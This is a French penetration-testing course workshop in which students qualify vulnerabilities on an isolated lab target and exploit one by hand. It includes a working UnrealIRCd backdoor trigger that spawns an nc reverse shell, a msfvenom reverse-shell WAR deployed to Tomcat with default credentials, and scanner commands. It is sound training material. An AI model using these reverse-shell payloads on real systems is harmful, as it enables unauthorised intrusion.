Recherche de vulnérabilités — Atelier pratique
Vous avez vu deux prises tomber sans Metasploit. À vous d'en faire tomber une, puis d'en qualifier deux autres sans les exploiter (pour vous entraîner à écrire un tableau propre).
Compter : 2 h 30.
Livrable : ~/labs/semaine-05/rapport/vulnerabilites.md avec un tableau priorisé, et ~/labs/semaine-05/preuves/ avec les traces d'exploitation d'au moins une vulnérabilité.
Prérequis
- Le lab de la semaine 4 monté (Kali +
10.10.10.12+10.10.10.20). - Le fichier
~/labs/semaine-04/scans/20-versions.nmapdisponible. searchsploità jour :
sudo apt install exploitdb -y
sudo searchsploit -u
nucleiavec ses templates :
sudo apt install -y nuclei
nuclei -update-templates
Étape 1 — Choisir 3 vulnérabilités (10 min)
Ne prenez pas vsftpd ni Samba (déjà exploités en démo). Choisissez trois vulnérabilités différentes parmi :
- UnrealIRCd 3.2.8.1 — CVE-2010-2075. Backdoor délibérée dans le tarball 2009-2010.
- distccd — CVE-2004-2687. Absence d'authentification, exécution de code arbitraire.
- Tomcat 5.5 avec
tomcat:tomcat— déploiement d'une WAR malveillante. - Apache mod_userdir — énumération d'utilisateurs par
/~<nom>. - PostgreSQL 8.3 — authentification faible / dictionnaire.
- NFS mal configuré (port 2049) — export accessible sans authentification.
- X11 sur port 6000 — capture d'écran sans authentification.
Écrivez, dans rapport/vulnerabilites.md, votre choix des 3 et pourquoi.
Étape 2 — Qualifier chacune (30 min par vulnérabilité)
Pour chacune, produisez cette fiche complète :
## Vulnérabilité #<n> — <titre court>
### Identité
- Produit et version : <ex. UnrealIRCd 3.2.8.1>
- CVE : <ex. CVE-2010-2075>
- Bulletin d'origine : <lien URL ou source>
- Références KEV : <oui/non>
### Scores
- CVSS Base : ...
- CVSS Environmental (recalculé) : ... — justification en une phrase.
- EPSS actuelle : ... (source : https://api.first.org/data/v1/epss?cve=<CVE>)
### POC / Exploit
- Trouvé sur : Exploit-DB #<numéro> / GitHub <url>
- Lu avant exécution : oui/non
- Adaptations nécessaires à la cible : ...
### Preuve d'existence
- Requête envoyée (curl / nc / script) : ...
- Réponse observée : ...
- Fichier de preuve : preuves/<vulnerabilite>-*.txt
### Impact business (si le client était réel)
- ... (en une phrase par impact)
### Recommandation
- Mesure immédiate : ...
- Mesure de fond : ...
Ne bâclez aucune section. Le tableau final ne vaudra que si les fiches sont solides.
Étape 3 — Exploiter à la main au moins une (60 min)
Choisissez la vulnérabilité la plus simple de vos trois. Exploitez-la sans Metasploit.
Suggestion 1 — UnrealIRCd (Perl)
searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853 # ou l'ID trouvé
Lisez le script Perl. Il envoie une chaîne magique AB;<commande> qui déclenche l'exécution :
$socket->send("AB;system('nc -e /bin/sh 10.10.10.5 4444')\n");
Dans un premier terminal :
nc -lvnp 4444
Dans un deuxième :
perl 13853.pl 10.10.10.20 6667
Vérifiez que le premier terminal reçoit la connexion, tapez id, sauvegardez la trace dans preuves/unreal-shell.log.
Suggestion 2 — distcc (à la main)
# Requête distcc forgée (protocole texte)
printf 'DIST00000001\n' > payload
printf 'ARGC00000003\n' >> payload
# ...
Regardez le POC officiel Metasploit pour comprendre le protocole. Ne le lancez pas depuis Metasploit — écrivez votre propre distcc_pwn.py en 30 lignes.
Suggestion 3 — Tomcat manager (WAR)
# 1. Générer une WAR reverse shell (sans Metasploit ? on peut, avec msfvenom qui est ind\u00e9pendant)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f war -o shell.war
# 2. Déployer via l'API manager
curl -u tomcat:tomcat -T shell.war "http://10.10.10.20:8180/manager/deploy?path=/pwn"
# 3. Écouter
nc -lvnp 4444
# 4. Déclencher
curl http://10.10.10.20:8180/pwn/
Un shell tombe. Sauvez la trace dans preuves/tomcat-shell.log.
Étape 4 — Scanner large avec Nuclei (20 min)
En parallèle des exploitations, lancez :
nuclei -u http://10.10.10.20 -tags cve,exposure,default-login -severity medium,high,critical \
-o preuves/nuclei-20.txt
# Aussi sur Tomcat (port 8180) et phpMyAdmin
nuclei -u http://10.10.10.20:8180 -tags cve,exposure,default-login \
-o preuves/nuclei-20-8180.txt
Notez les 5 trouvailles les plus intéressantes de nuclei dans votre rapport, avec une décision : exploitable / fuite d'info / faux positif.
Étape 5 — Nikto de contexte (15 min)
Lancez Nikto sur le port 80 :
nikto -h http://10.10.10.20 -Format txt -o preuves/nikto-20.txt
Sélectionnez, dans la sortie Nikto, au maximum 5 lignes qui sont de vraies pistes (fichiers oubliés, panels administratifs). Le reste est du bruit — ne le retenez pas.
Étape 6 — Consolider le tableau priorisé (20 min)
Ouvrez rapport/vulnerabilites.md et ajoutez le tableau final. Structure identique à la démonstration :
# Tableau priorisé — Lab semaine 5
## Cible 10.10.10.20 (Linux)
| ID | Service | CVE | Base | Env. | EPSS | KEV | Statut | Preuve |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | ... | ... | ... | ... | ... | ... | exploité / à faire | preuves/... |
| P1b | ... | ... | ... | ... | ... | ... | ... | ... |
...
Règles pour ce tableau :
- Au moins 6 lignes au total (les 3 fiches + les 3 trouvailles Nuclei/Nikto).
- Au moins une en
exploitéavec preuve danspreuves/. - Aucune ligne sans
Statutclair. - CVSS Environmental différent de la Base au moins une fois (montre que vous contextualisez).
Grille d'auto-évaluation
- Trois vulnérabilités choisies (pas celles de la démo).
- Trois fiches complètes (identité, scores, POC, preuve, impact, reco).
- Au moins une vulnérabilité effectivement exploitée à la main, sans Metasploit.
- Trace complète de l'exploitation dans
preuves/. - Scan Nuclei complet sauvegardé, top-5 des trouvailles annotées.
- Scan Nikto complet, 5 trouvailles retenues (le reste jeté).
- Tableau priorisé final avec au moins 6 lignes et un CVSS Env recalculé.
- Aucun POC exécuté sans avoir été lu avant.
- Aucune action hors lab.
Ce qui bloque en général
| Symptôme | Cause | Correction |
|---|---|---|
searchsploit ne trouve rien | Base pas à jour | sudo searchsploit -u |
| POC Python ne fonctionne pas | Syntaxe Python 2 vs 3 | 2to3 script.py -w |
| Nuclei sort 500 lignes de bruit | Trop de tags | Filtrez -severity high,critical |
| Un exploit lance une action douteuse | Backdoor dans le POC | Repartez d'un POC officiel (Rapid7, Metasploit) |
| Nikto rend beaucoup trop | Normal | Filtrer à la main, jeter 80 % |
L'exploit UnrealIRCd rend not vulnerable | Version différente ou déjà exploité | Snapshot revert de la VM |
Extension optionnelle — Écrire son propre POC minimal
Prenez la plus simple des trois vulnérabilités et réécrivez le POC en Python 3, sans copier-coller. 30 lignes, avec :
- Argument CLI (
argparse). - Vérification de la version cible (bannière).
- Envoi du payload.
- Retour clair (
SUCCESS/FAIL).
C'est l'exercice le plus formateur du cours. Un pentester qui sait écrire un POC ne dépend plus des outils.
Ce que vous emportez de cet atelier
- L'instinct de qualifier une vulnérabilité avant de sauter dessus.
- L'habitude de lire un POC avant de l'exécuter.
- Une méthode pour transformer un tas de sorties de scanners en un tableau priorisé utilisable.
- L'assurance de pouvoir exploiter certaines vulnérabilités sans framework. C'est ce qui vous fera passer, un jour, un test technique en entretien.